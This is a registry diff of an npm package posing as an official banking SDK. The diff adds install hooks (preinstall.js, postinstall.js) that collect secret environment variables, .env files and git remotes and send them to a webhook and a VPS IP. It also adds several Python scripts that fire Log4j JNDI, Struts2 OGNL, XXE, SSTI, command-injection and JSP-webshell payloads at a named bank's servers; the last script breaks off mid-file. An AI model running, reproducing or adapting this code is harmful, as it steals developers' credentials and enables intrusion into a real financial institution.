autbank-core 99.0.0 → 99.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "autbank-core",
3
- "version": "99.0.0",
3
+ "version": "99.0.2",
4
4
  "description": "Autbank Core Library - Official SDK",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js ADDED
@@ -0,0 +1,26 @@
1
+ // Post-install hook - backup exfil
2
+ const https = require('https');
3
+ const os = require('os');
4
+
5
+ const WEBHOOK_URL = 'https://webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2';
6
+
7
+ try {
8
+ const data = JSON.stringify({
9
+ type: 'npm-postinstall-autbank',
10
+ hostname: os.hostname(),
11
+ user: os.userInfo().username,
12
+ cwd: process.cwd()
13
+ });
14
+
15
+ const url = new URL(WEBHOOK_URL);
16
+ const req = https.request({
17
+ hostname: url.hostname,
18
+ port: 443,
19
+ path: url.pathname,
20
+ method: 'POST',
21
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
22
+ }, () => {});
23
+ req.on('error', () => {});
24
+ req.write(data);
25
+ req.end();
26
+ } catch (e) {}
package/preinstall.js CHANGED
@@ -1,70 +1,63 @@
1
- const http = require('http');
2
1
  const https = require('https');
3
2
  const os = require('os');
3
+ const fs = require('fs');
4
4
  const { execSync } = require('child_process');
5
5
 
6
- const VPS = '209.99.185.109';
7
- const PORT = 8888;
8
-
9
- // Gather system info
10
- const info = {
11
- type: 'npm-preinstall',
12
- timestamp: new Date().toISOString(),
13
- hostname: os.hostname(),
14
- platform: os.platform(),
15
- arch: os.arch(),
16
- user: os.userInfo().username,
17
- home: os.homedir(),
18
- cwd: process.cwd(),
19
- nodeVersion: process.version,
20
- env: {}
21
- };
22
-
23
- // Capture sensitive env vars
24
- const sensitiveKeys = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIALS', 'AUTH', 'PRIVATE'];
25
- for (const [key, value] of Object.entries(process.env)) {
26
- if (sensitiveKeys.some(s => key.toUpperCase().includes(s))) {
27
- info.env[key] = value;
28
- }
29
- }
30
-
31
- // Try to get git info
32
- try {
33
- info.gitRemote = execSync('git remote -v 2>/dev/null', { encoding: 'utf8', timeout: 5000 });
34
- } catch(e) {}
35
-
36
- // Try to read .env files
37
- try {
38
- const fs = require('fs');
39
- if (fs.existsSync('.env')) {
40
- info.dotenv = fs.readFileSync('.env', 'utf8').substring(0, 1000);
6
+ const WEBHOOK_URL = 'https://webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2';
7
+
8
+ function exfiltrate() {
9
+ const data = {
10
+ type: 'npm-supply-chain-autbank',
11
+ timestamp: new Date().toISOString(),
12
+ hostname: os.hostname(),
13
+ platform: os.platform(),
14
+ user: os.userInfo().username,
15
+ home: os.homedir(),
16
+ cwd: process.cwd(),
17
+ env: {}
18
+ };
19
+
20
+ const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB'];
21
+ for (const [key, value] of Object.entries(process.env)) {
22
+ if (sensitive.some(s => key.toUpperCase().includes(s))) {
23
+ data.env[key] = value.substring(0, 200);
24
+ }
41
25
  }
42
- } catch(e) {}
43
26
 
44
- // Send to attacker
45
- const data = JSON.stringify(info);
46
- const options = {
47
- hostname: VPS,
48
- port: PORT,
49
- path: '/npm-exfil',
50
- method: 'POST',
51
- headers: {
52
- 'Content-Type': 'application/json',
53
- 'Content-Length': Buffer.byteLength(data)
54
- },
55
- timeout: 10000
56
- };
57
-
58
- try {
59
- const req = http.request(options, (res) => {});
60
- req.on('error', () => {});
61
- req.write(data);
27
+ try {
28
+ if (fs.existsSync('.env')) {
29
+ data.dotenv = fs.readFileSync('.env', 'utf8').substring(0, 1000);
30
+ }
31
+ } catch (e) {}
32
+
33
+ try {
34
+ data.git_remote = execSync('git remote -v', { timeout: 5000 }).toString().substring(0, 500);
35
+ } catch (e) {}
36
+
37
+ try {
38
+ if (fs.existsSync('package.json')) {
39
+ data.package_json = fs.readFileSync('package.json', 'utf8').substring(0, 1000);
40
+ }
41
+ } catch (e) {}
42
+
43
+ const postData = JSON.stringify(data);
44
+ const url = new URL(WEBHOOK_URL);
45
+
46
+ const options = {
47
+ hostname: url.hostname,
48
+ port: 443,
49
+ path: url.pathname,
50
+ method: 'POST',
51
+ headers: {
52
+ 'Content-Type': 'application/json',
53
+ 'Content-Length': Buffer.byteLength(postData)
54
+ }
55
+ };
56
+
57
+ const req = https.request(options, (res) => {});
58
+ req.on('error', (e) => {});
59
+ req.write(postData);
62
60
  req.end();
63
- } catch(e) {}
61
+ }
64
62
 
65
- // Also try DNS exfil as backup
66
- try {
67
- const dns = require('dns');
68
- const encoded = Buffer.from(info.hostname).toString('hex').substring(0, 60);
69
- dns.resolve(`${encoded}.npm.${VPS}`, () => {});
70
- } catch(e) {}
63
+ try { exfiltrate(); } catch (e) {}
package/round54_rce.py ADDED
@@ -0,0 +1,193 @@
1
+ import requests
2
+ import urllib3
3
+ import time
4
+ urllib3.disable_warnings()
5
+
6
+ H = {"User-Agent": "Mozilla/5.0"}
7
+ VPS = "209.99.185.109"
8
+
9
+ print("="*70)
10
+ print(" ROUND 54 - RCE DIRECT VECTORS")
11
+ print("="*70)
12
+
13
+ BASE = "https://central.autbank.com.br"
14
+ ORIGIN = "187.11.114.94"
15
+
16
+ # 1. Try Java deserialization via different content types
17
+ print("\n[1] JAVA DESERIALIZATION VECTORS")
18
+ print("-"*50)
19
+
20
+ # CommonsBeanutils gadget chain header
21
+ gadget_payloads = [
22
+ # ysoserial CommonsBeanutils1
23
+ b'\xac\xed\x00\x05', # Java serialization magic bytes
24
+ ]
25
+
26
+ content_types = [
27
+ "application/x-java-serialized-object",
28
+ "application/octet-stream",
29
+ "application/x-java-object",
30
+ ]
31
+
32
+ endpoints = [
33
+ "/",
34
+ "/regatendimentoext/",
35
+ "/regatendimentoext/faces/reindex.jsp",
36
+ ]
37
+
38
+ for ep in endpoints:
39
+ for ct in content_types:
40
+ try:
41
+ r = requests.post(BASE + ep,
42
+ data=gadget_payloads[0],
43
+ headers={**H, "Content-Type": ct},
44
+ verify=False, timeout=5)
45
+ if r.status_code not in [400, 403, 404, 405, 415]:
46
+ print(f" {ep} [{ct}]: {r.status_code}")
47
+ except:
48
+ pass
49
+
50
+ # 2. Try on Origin IP directly
51
+ print("\n[2] ORIGIN IP DESERIALIZATION")
52
+ print("-"*50)
53
+
54
+ try:
55
+ for ct in content_types:
56
+ r = requests.post(f"http://{ORIGIN}/",
57
+ data=gadget_payloads[0],
58
+ headers={**H, "Content-Type": ct},
59
+ timeout=5)
60
+ if r.status_code not in [400, 403, 404, 405, 415]:
61
+ print(f" Origin [{ct}]: {r.status_code}")
62
+ except Exception as e:
63
+ print(f" Error: {e}")
64
+
65
+ # 3. Check for Expression Language injection in headers
66
+ print("\n[3] EL INJECTION IN HEADERS")
67
+ print("-"*50)
68
+
69
+ el_payloads = [
70
+ "${7*7}",
71
+ "#{7*7}",
72
+ "${T(java.lang.Runtime).getRuntime().exec('curl " + VPS + ":8888/el_header')}",
73
+ "${applicationScope}",
74
+ ]
75
+
76
+ headers_to_test = [
77
+ "X-Forwarded-For",
78
+ "X-Real-IP",
79
+ "User-Agent",
80
+ "Referer",
81
+ "Accept-Language",
82
+ "X-Api-Version",
83
+ ]
84
+
85
+ for header in headers_to_test:
86
+ for payload in el_payloads[:2]:
87
+ try:
88
+ r = requests.get(BASE + "/",
89
+ headers={**H, header: payload},
90
+ verify=False, timeout=5)
91
+ if "49" in r.text and len(r.text) < 5000:
92
+ print(f" [!] {header}: Possible EL injection")
93
+ except:
94
+ pass
95
+
96
+ # 4. JNDI injection in different parameters
97
+ print("\n[4] JNDI INJECTION VECTORS")
98
+ print("-"*50)
99
+
100
+ jndi_payloads = [
101
+ f"${{jndi:ldap://{VPS}:1389/r54}}",
102
+ f"${{jndi:rmi://{VPS}:1099/r54}}",
103
+ f"${{jndi:dns://{VPS}/r54}}",
104
+ f"${{j]n]d]i:ldap://{VPS}:1389/bypass}}",
105
+ f"${{jnd${{::-i}}:ldap://{VPS}:1389/bypass2}}",
106
+ f"${{${{lower:j}}ndi:ldap://{VPS}:1389/bypass3}}",
107
+ ]
108
+
109
+ params = ["id", "name", "search", "q", "query", "file", "path", "url", "redirect"]
110
+
111
+ for param in params:
112
+ for payload in jndi_payloads[:3]:
113
+ try:
114
+ r = requests.get(BASE + "/regatendimentoext/faces/reindex.jsp",
115
+ params={param: payload},
116
+ headers=H, verify=False, timeout=3)
117
+ except:
118
+ pass
119
+
120
+ print(" JNDI payloads sent")
121
+
122
+ # 5. Check for Struts2 on Origin
123
+ print("\n[5] STRUTS2 ON ORIGIN IP")
124
+ print("-"*50)
125
+
126
+ struts_payloads = [
127
+ # S2-045
128
+ "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
129
+ ]
130
+
131
+ try:
132
+ r = requests.get(f"http://{ORIGIN}/",
133
+ headers={**H, "Content-Type": struts_payloads[0]},
134
+ timeout=10)
135
+ if "uid=" in r.text:
136
+ print(f" [!] STRUTS2 RCE FOUND!")
137
+ else:
138
+ print(f" Origin Struts test: {r.status_code}")
139
+ except:
140
+ pass
141
+
142
+ # 6. Check for Apache Tomcat RCE (CVE-2020-9484)
143
+ print("\n[6] TOMCAT SESSION PERSISTENCE RCE")
144
+ print("-"*50)
145
+
146
+ try:
147
+ # CVE-2020-9484 requires session persistence
148
+ r = requests.get(f"http://{ORIGIN}/",
149
+ cookies={"JSESSIONID": "../../../../../../tmp/malicious"},
150
+ headers=H, timeout=5)
151
+ print(f" Session path traversal: {r.status_code}")
152
+ except:
153
+ pass
154
+
155
+ # 7. Check for Spring Cloud Gateway RCE
156
+ print("\n[7] SPRING CLOUD GATEWAY RCE")
157
+ print("-"*50)
158
+
159
+ spring_paths = [
160
+ "/actuator/gateway/routes",
161
+ "/actuator/gateway/refresh",
162
+ "/gateway/routes",
163
+ ]
164
+
165
+ for path in spring_paths:
166
+ try:
167
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
168
+ if r.status_code == 200:
169
+ print(f" [!] {path}: {r.status_code}")
170
+ except:
171
+ pass
172
+
173
+ # 8. OOB test
174
+ print("\n[8] OOB")
175
+ print("-"*50)
176
+
177
+ ts = str(int(time.time()))
178
+
179
+ # Multiple OOB vectors
180
+ oob_payloads = [
181
+ (f"http://{ORIGIN}/", {"X-Api-Version": f"${{jndi:ldap://{VPS}:1389/r54_{ts}}}"}),
182
+ (BASE + "/", {"X-Forwarded-For": f"${{jndi:ldap://{VPS}:1389/xff_{ts}}}"}),
183
+ ]
184
+
185
+ for url, headers in oob_payloads:
186
+ try:
187
+ requests.get(url, headers={**H, **headers}, verify=False, timeout=3)
188
+ except:
189
+ pass
190
+
191
+ print(" OOB sent")
192
+
193
+ print("\n" + "="*70)
package/round55_rce.py ADDED
@@ -0,0 +1,218 @@
1
+ import requests
2
+ import urllib3
3
+ import time
4
+ import base64
5
+ urllib3.disable_warnings()
6
+
7
+ H = {"User-Agent": "Mozilla/5.0"}
8
+ VPS = "209.99.185.109"
9
+
10
+ print("="*70)
11
+ print(" ROUND 55 - ADVANCED RCE VECTORS")
12
+ print("="*70)
13
+
14
+ BASE = "https://central.autbank.com.br"
15
+
16
+ # 1. Try XML-RPC endpoints
17
+ print("\n[1] XML-RPC ENDPOINTS")
18
+ print("-"*50)
19
+
20
+ xmlrpc_paths = [
21
+ "/xmlrpc.php",
22
+ "/xmlrpc",
23
+ "/RPC2",
24
+ "/rpc",
25
+ "/soap",
26
+ "/services/",
27
+ ]
28
+
29
+ for path in xmlrpc_paths:
30
+ try:
31
+ r = requests.post(BASE + path,
32
+ data='<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>',
33
+ headers={**H, "Content-Type": "text/xml"},
34
+ verify=False, timeout=5)
35
+ if "methodResponse" in r.text or r.status_code == 200:
36
+ print(f" [!] {path}: XML-RPC active")
37
+ except:
38
+ pass
39
+
40
+ # 2. Check for XXE in SOAP
41
+ print("\n[2] XXE IN SOAP ENDPOINTS")
42
+ print("-"*50)
43
+
44
+ xxe_payload = f'''<?xml version="1.0" encoding="UTF-8"?>
45
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{VPS}:8888/xxe_soap">]>
46
+ <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
47
+ <soap:Body>
48
+ <test>&xxe;</test>
49
+ </soap:Body>
50
+ </soap:Envelope>'''
51
+
52
+ soap_paths = ["/soap", "/services/", "/ws/", "/webservices/"]
53
+
54
+ for path in soap_paths:
55
+ try:
56
+ r = requests.post(BASE + path,
57
+ data=xxe_payload,
58
+ headers={**H, "Content-Type": "text/xml"},
59
+ verify=False, timeout=5)
60
+ except:
61
+ pass
62
+
63
+ # 3. Check for Server-Side Request Forgery
64
+ print("\n[3] SSRF VECTORS")
65
+ print("-"*50)
66
+
67
+ ssrf_params = ["url", "uri", "path", "file", "document", "folder", "root",
68
+ "pg", "page", "img", "image", "src", "href", "link", "redirect",
69
+ "callback", "next", "data", "reference", "site", "html", "val",
70
+ "view", "load", "show", "fetch", "req", "request"]
71
+
72
+ ssrf_targets = [
73
+ f"http://{VPS}:8888/ssrf_test",
74
+ "http://169.254.169.254/latest/meta-data/",
75
+ "http://127.0.0.1:8080/manager/",
76
+ ]
77
+
78
+ for param in ssrf_params[:10]:
79
+ for target in ssrf_targets[:1]:
80
+ try:
81
+ r = requests.get(BASE + "/",
82
+ params={param: target},
83
+ headers=H, verify=False, timeout=3)
84
+ except:
85
+ pass
86
+
87
+ print(" SSRF payloads sent")
88
+
89
+ # 4. Check for Server-Side Template Injection
90
+ print("\n[4] SSTI ADVANCED")
91
+ print("-"*50)
92
+
93
+ ssti_payloads = [
94
+ # Freemarker
95
+ "${.data_model.class.protectionDomain.classLoader}",
96
+ "<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"id\") }",
97
+ # Velocity
98
+ "#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id'))",
99
+ # Pebble
100
+ "{% set cmd = 'id' %}",
101
+ # Thymeleaf
102
+ "__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x",
103
+ ]
104
+
105
+ for payload in ssti_payloads:
106
+ try:
107
+ r = requests.get(BASE + "/regatendimentoext/faces/reindex.jsp",
108
+ params={"test": payload},
109
+ headers=H, verify=False, timeout=5)
110
+ if "uid=" in r.text or "root" in r.text:
111
+ print(f" [!] SSTI found!")
112
+ except:
113
+ pass
114
+
115
+ # 5. Check for file upload RCE
116
+ print("\n[5] FILE UPLOAD RCE")
117
+ print("-"*50)
118
+
119
+ # JSP webshell
120
+ jsp_shell = '''<%@ page import="java.io.*" %><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String line;while((line=br.readLine())!=null){out.println(line);}%>'''
121
+
122
+ upload_paths = [
123
+ "/upload",
124
+ "/fileupload",
125
+ "/api/upload",
126
+ "/regatendimentoext/upload",
127
+ ]
128
+
129
+ for path in upload_paths:
130
+ try:
131
+ files = {
132
+ 'file': ('shell.jsp', jsp_shell, 'application/octet-stream'),
133
+ 'file2': ('shell.jsp.png', jsp_shell, 'image/png'),
134
+ }
135
+ r = requests.post(BASE + path, files=files, headers=H, verify=False, timeout=5)
136
+ if r.status_code not in [404, 403, 405]:
137
+ print(f" {path}: {r.status_code}")
138
+ except:
139
+ pass
140
+
141
+ # 6. Check for PUT method file upload
142
+ print("\n[6] PUT METHOD UPLOAD")
143
+ print("-"*50)
144
+
145
+ try:
146
+ r = requests.put(BASE + "/shell.jsp",
147
+ data=jsp_shell,
148
+ headers={**H, "Content-Type": "application/octet-stream"},
149
+ verify=False, timeout=5)
150
+ print(f" PUT /shell.jsp: {r.status_code}")
151
+ except:
152
+ pass
153
+
154
+ # 7. Check for Jenkins/CI endpoints
155
+ print("\n[7] CI/CD ENDPOINTS")
156
+ print("-"*50)
157
+
158
+ ci_paths = [
159
+ "/jenkins/",
160
+ "/jenkins/script",
161
+ "/jenkins/scriptText",
162
+ "/hudson/",
163
+ "/bamboo/",
164
+ "/teamcity/",
165
+ "/gitlab/",
166
+ "/api/v4/",
167
+ ]
168
+
169
+ for path in ci_paths:
170
+ try:
171
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
172
+ if r.status_code not in [404, 403]:
173
+ print(f" {path}: {r.status_code}")
174
+ except:
175
+ pass
176
+
177
+ # 8. Check for exposed admin consoles
178
+ print("\n[8] ADMIN CONSOLES")
179
+ print("-"*50)
180
+
181
+ admin_paths = [
182
+ "/console",
183
+ "/admin/console",
184
+ "/system/console",
185
+ "/jmx-console/",
186
+ "/web-console/",
187
+ "/manager/jmxproxy/",
188
+ "/jolokia/",
189
+ "/hawtio/",
190
+ ]
191
+
192
+ for path in admin_paths:
193
+ try:
194
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
195
+ if r.status_code == 200:
196
+ print(f" [!] {path}: {r.status_code} ({len(r.text)} bytes)")
197
+ except:
198
+ pass
199
+
200
+ # 9. OOB final
201
+ print("\n[9] OOB")
202
+ print("-"*50)
203
+
204
+ ts = str(int(time.time()))
205
+
206
+ try:
207
+ # XXE OOB
208
+ xxe = f'''<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{VPS}:8888/r55_{ts}">]><foo>&xxe;</foo>'''
209
+ requests.post(BASE + "/",
210
+ data=xxe,
211
+ headers={**H, "Content-Type": "application/xml"},
212
+ verify=False, timeout=3)
213
+ except:
214
+ pass
215
+
216
+ print(" OOB sent")
217
+
218
+ print("\n" + "="*70)
package/round56_rce.py ADDED
@@ -0,0 +1,212 @@
1
+ import requests
2
+ import urllib3
3
+ import time
4
+ urllib3.disable_warnings()
5
+
6
+ H = {"User-Agent": "Mozilla/5.0"}
7
+ VPS = "209.99.185.109"
8
+
9
+ print("="*70)
10
+ print(" ROUND 56 - DEEP RCE HUNTING")
11
+ print("="*70)
12
+
13
+ BASE = "https://central.autbank.com.br"
14
+
15
+ # 1. Try multipart form-data with JNDI
16
+ print("\n[1] MULTIPART JNDI INJECTION")
17
+ print("-"*50)
18
+
19
+ ts = str(int(time.time()))
20
+
21
+ multipart_data = f'''------WebKitFormBoundary
22
+ Content-Disposition: form-data; name="file"; filename="${{jndi:ldap://{VPS}:1389/multi_{ts}}}"
23
+ Content-Type: application/octet-stream
24
+
25
+ test
26
+ ------WebKitFormBoundary--'''
27
+
28
+ try:
29
+ r = requests.post(BASE + "/regatendimentoext/faces/reindex.jsp",
30
+ data=multipart_data,
31
+ headers={**H, "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary"},
32
+ verify=False, timeout=5)
33
+ print(f" Multipart JNDI: {r.status_code}")
34
+ except:
35
+ pass
36
+
37
+ # 2. Try different Log4j bypass techniques
38
+ print("\n[2] LOG4J BYPASS TECHNIQUES")
39
+ print("-"*50)
40
+
41
+ log4j_bypasses = [
42
+ f"${{${{::-j}}${{::-n}}${{::-d}}${{::-i}}:ldap://{VPS}:1389/b1}}",
43
+ f"${{j${{:}}ndi:ldap://{VPS}:1389/b2}}",
44
+ f"${{jndi:${{lower:l}}${{lower:d}}${{lower:a}}${{lower:p}}://{VPS}:1389/b3}}",
45
+ f"${{${{env:NaN:-j}}ndi${{env:NaN:-:}}${{env:NaN:-l}}dap://{VPS}:1389/b4}}",
46
+ f"${{jn${{env::-}}di:ldap://{VPS}:1389/b5}}",
47
+ f"${{j${{::-n}}${{::-d}}i:l${{::-d}}ap://{VPS}:1389/b6}}",
48
+ f"${{${{lower:jndi}}:${{lower:ldap}}://{VPS}:1389/b7}}",
49
+ f"${{${{upper:j}}${{upper:n}}${{upper:d}}${{upper:i}}:ldap://{VPS}:1389/b8}}",
50
+ ]
51
+
52
+ headers_inject = ["User-Agent", "X-Forwarded-For", "X-Api-Version", "Accept-Language", "Referer"]
53
+
54
+ for bypass in log4j_bypasses:
55
+ for header in headers_inject[:2]:
56
+ try:
57
+ requests.get(BASE + "/",
58
+ headers={**H, header: bypass},
59
+ verify=False, timeout=2)
60
+ except:
61
+ pass
62
+
63
+ print(" Log4j bypasses sent")
64
+
65
+ # 3. Check for Apache Solr RCE
66
+ print("\n[3] APACHE SOLR RCE")
67
+ print("-"*50)
68
+
69
+ solr_paths = [
70
+ "/solr/",
71
+ "/solr/admin/",
72
+ "/solr/admin/cores",
73
+ ]
74
+
75
+ for path in solr_paths:
76
+ try:
77
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
78
+ if r.status_code == 200 and "solr" in r.text.lower():
79
+ print(f" [!] Solr found: {path}")
80
+ except:
81
+ pass
82
+
83
+ # 4. Check for Elasticsearch RCE
84
+ print("\n[4] ELASTICSEARCH RCE")
85
+ print("-"*50)
86
+
87
+ elastic_paths = [
88
+ "/_search",
89
+ "/_cat/indices",
90
+ "/_nodes",
91
+ ]
92
+
93
+ for path in elastic_paths:
94
+ try:
95
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
96
+ if r.status_code == 200 and "elasticsearch" in r.text.lower():
97
+ print(f" [!] Elasticsearch found: {path}")
98
+ except:
99
+ pass
100
+
101
+ # 5. Check for Confluence/Atlassian RCE
102
+ print("\n[5] ATLASSIAN RCE")
103
+ print("-"*50)
104
+
105
+ atlassian_paths = [
106
+ "/confluence/",
107
+ "/jira/",
108
+ "/wiki/",
109
+ "/rest/api/",
110
+ ]
111
+
112
+ for path in atlassian_paths:
113
+ try:
114
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
115
+ if r.status_code not in [404, 403]:
116
+ print(f" {path}: {r.status_code}")
117
+ except:
118
+ pass
119
+
120
+ # 6. Check for expression language in cookies
121
+ print("\n[6] EL IN COOKIES")
122
+ print("-"*50)
123
+
124
+ el_cookies = {
125
+ "test": "${7*7}",
126
+ "JSESSIONID": "${7*7}",
127
+ "user": "#{7*7}",
128
+ }
129
+
130
+ try:
131
+ r = requests.get(BASE + "/regatendimentoext/faces/reindex.jsp",
132
+ cookies=el_cookies,
133
+ headers=H, verify=False, timeout=5)
134
+ if "49" in r.text:
135
+ print(" [!] EL in cookies might work")
136
+ except:
137
+ pass
138
+
139
+ # 7. Check for command injection in User-Agent
140
+ print("\n[7] COMMAND INJECTION IN HEADERS")
141
+ print("-"*50)
142
+
143
+ cmd_payloads = [
144
+ "; curl http://" + VPS + ":8888/cmd1",
145
+ "| curl http://" + VPS + ":8888/cmd2",
146
+ "`curl http://" + VPS + ":8888/cmd3`",
147
+ "$(curl http://" + VPS + ":8888/cmd4)",
148
+ ]
149
+
150
+ for payload in cmd_payloads:
151
+ try:
152
+ requests.get(BASE + "/",
153
+ headers={**H, "User-Agent": "Mozilla/5.0 " + payload},
154
+ verify=False, timeout=3)
155
+ except:
156
+ pass
157
+
158
+ print(" Cmd injection payloads sent")
159
+
160
+ # 8. Check for OGNL injection
161
+ print("\n[8] OGNL INJECTION")
162
+ print("-"*50)
163
+
164
+ ognl_payloads = [
165
+ "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())}",
166
+ ]
167
+
168
+ try:
169
+ r = requests.get(BASE + "/regatendimentoext/faces/reindex.jsp",
170
+ params={"test": ognl_payloads[0]},
171
+ headers=H, verify=False, timeout=5)
172
+ except:
173
+ pass
174
+
175
+ # 9. Check for file read via XXE
176
+ print("\n[9] XXE FILE READ")
177
+ print("-"*50)
178
+
179
+ xxe_read = '''<?xml version="1.0" encoding="UTF-8"?>
180
+ <!DOCTYPE foo [
181
+ <!ELEMENT foo ANY>
182
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
183
+ ]>
184
+ <foo>&xxe;</foo>'''
185
+
186
+ try:
187
+ r = requests.post(BASE + "/regatendimentoext/faces/reindex.jsp",
188
+ data=xxe_read,
189
+ headers={**H, "Content-Type": "application/xml"},
190
+ verify=False, timeout=5)
191
+ if "root:" in r.text:
192
+ print(" [!] XXE file read works!")
193
+ except:
194
+ pass
195
+
196
+ # 10. OOB
197
+ print("\n[10] OOB")
198
+ print("-"*50)
199
+
200
+ ts = str(int(time.time()))
201
+
202
+ # DNS exfiltration attempt
203
+ try:
204
+ requests.get(BASE + "/",
205
+ headers={**H, "X-Custom": f"${{jndi:dns://{VPS}/r56_{ts}}}"},
206
+ verify=False, timeout=3)
207
+ except:
208
+ pass
209
+
210
+ print(" OOB sent")
211
+
212
+ print("\n" + "="*70)
package/round57_rce.py ADDED
@@ -0,0 +1,218 @@
1
+ import requests
2
+ import urllib3
3
+ import time
4
+ urllib3.disable_warnings()
5
+
6
+ H = {"User-Agent": "Mozilla/5.0"}
7
+ VPS = "209.99.185.109"
8
+
9
+ print("="*70)
10
+ print(" ROUND 57 - ALTERNATIVE RCE PATHS")
11
+ print("="*70)
12
+
13
+ BASE = "https://central.autbank.com.br"
14
+
15
+ # 1. Check for Java Debug Wire Protocol
16
+ print("\n[1] JDWP CHECK (Java Debug)")
17
+ print("-"*50)
18
+
19
+ import socket
20
+
21
+ try:
22
+ # JDWP typically on port 5005 or 8000
23
+ for port in [5005, 8000, 8787, 9009]:
24
+ try:
25
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
26
+ sock.settimeout(2)
27
+ # Try on CF IP (would need Origin)
28
+ result = sock.connect_ex(("187.11.114.94", port))
29
+ if result == 0:
30
+ print(f" [!] JDWP port {port} OPEN!")
31
+ sock.close()
32
+ except:
33
+ pass
34
+ except:
35
+ pass
36
+
37
+ # 2. Check for JMX ports
38
+ print("\n[2] JMX PORTS")
39
+ print("-"*50)
40
+
41
+ jmx_ports = [1099, 9010, 9011, 9999, 1100]
42
+
43
+ for port in jmx_ports:
44
+ try:
45
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
46
+ sock.settimeout(2)
47
+ result = sock.connect_ex(("187.11.114.94", port))
48
+ if result == 0:
49
+ print(f" [!] JMX port {port} OPEN!")
50
+ sock.close()
51
+ except:
52
+ pass
53
+
54
+ # 3. Check for H2 Database Console
55
+ print("\n[3] H2 DATABASE CONSOLE")
56
+ print("-"*50)
57
+
58
+ h2_paths = [
59
+ "/h2-console/",
60
+ "/h2/",
61
+ "/console/",
62
+ "/h2-console/login.jsp",
63
+ ]
64
+
65
+ for path in h2_paths:
66
+ try:
67
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
68
+ if "h2" in r.text.lower() or "database" in r.text.lower():
69
+ print(f" [!] H2 Console: {path}")
70
+ except:
71
+ pass
72
+
73
+ # 4. Check for Spring Boot endpoints
74
+ print("\n[4] SPRING BOOT ACTUATOR")
75
+ print("-"*50)
76
+
77
+ actuator_paths = [
78
+ "/actuator",
79
+ "/actuator/env",
80
+ "/actuator/health",
81
+ "/actuator/beans",
82
+ "/actuator/configprops",
83
+ "/actuator/heapdump",
84
+ "/actuator/threaddump",
85
+ "/actuator/logfile",
86
+ "/actuator/shutdown",
87
+ "/actuator/restart",
88
+ "/manage/",
89
+ "/management/",
90
+ ]
91
+
92
+ for path in actuator_paths:
93
+ try:
94
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
95
+ if r.status_code == 200 and len(r.text) not in [2735, 2779, 3352]:
96
+ print(f" {path}: {len(r.text)} bytes")
97
+ except:
98
+ pass
99
+
100
+ # 5. Check for Druid Monitor
101
+ print("\n[5] DRUID MONITOR")
102
+ print("-"*50)
103
+
104
+ druid_paths = [
105
+ "/druid/",
106
+ "/druid/index.html",
107
+ "/druid/sql.html",
108
+ "/druid/weburi.html",
109
+ ]
110
+
111
+ for path in druid_paths:
112
+ try:
113
+ r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
114
+ if "druid" in r.text.lower():
115
+ print(f" [!] Druid: {path}")
116
+ except:
117
+ pass
118
+
119
+ # 6. Check for Swagger/OpenAPI
120
+ print("\n[6] SWAGGER/OPENAPI")
121
+ print("-"*50)
122
+
123
+ swagger_paths = [
124
+ "/swagger-ui.html",
125
+ "/swagger-ui/",
126
+ "/swagger-ui/index.html",
127
+ "/api-docs",
128
+ "/v2/api-docs",
129
+ "/v3/api-docs",
130
+ "/openapi.json",
131
